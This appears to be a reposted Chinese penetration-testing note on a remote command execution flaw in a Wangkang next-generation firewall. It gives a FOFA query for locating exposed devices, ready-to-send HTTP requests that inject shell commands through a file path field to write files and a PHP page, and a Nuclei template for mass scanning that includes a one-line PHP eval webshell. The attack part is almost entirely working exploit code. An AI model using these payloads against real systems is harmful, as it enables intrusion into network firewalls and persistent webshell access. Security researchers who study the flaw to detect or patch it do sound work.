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二、产品介绍：
三、资产梳理：
fofa: app="网康科技-下一代防火墙"
四、漏洞复现：
写入文件:
五、POC：
POST /directdata/direct/router HTTP/1.1Host: ipCookie: PHPSESSID=0luhut5imi4efh4fle1qdcram3; ys-active_page=s%3AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: https://123.234.82.26:11443/wuhu.txtContent-Type: application/x-www-form-urlencodedContent-Length: 160Origin: https://123.234.82.26:11443Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/wuhu.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
写入文件：
POST /directdata/direct/router HTTP/1.1Host: ipCookie: PHPSESSID=0luhut5imi4efh4fle1qdcram3; ys-active_page=s%3AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: https://123.234.82.26:11443/wuhu.txtContent-Type: application/x-www-form-urlencodedContent-Length: 183Origin: https://123.234.82.26:11443Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '<?php phpinfo();?>' >/var/www/html/wuhu.php"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
nuclei批量检测
id: qianxin_wangkang_rceinfo:name: qianxin_wangkang_rceauthor: joyboyseverity: criticaldescription: http://xxx.xxx.xxx/directdata/direct/routermetadata:max-request: 1fofa-query: app="网康科技-下一代防火墙"verified: truetags: qianxin_wangkang_rce,rcerequests:- raw:- |-POST /directdata/direct/router HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: {{Hostname}}{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/wuhu.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}#{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '<?php @eval($_POST[6677]);?>' >/var/www/html/wuhu.php"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}- |+GET /wuhu.txt HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36req-condition: truematchers:- type: dslcondition: anddsl:- 'contains((body_2), "uid=") && status_code_2 == 200'
原文始发于微信公众号（fly的渗透学习笔记）：*安信 网*科技防火墙远程命令执行漏洞
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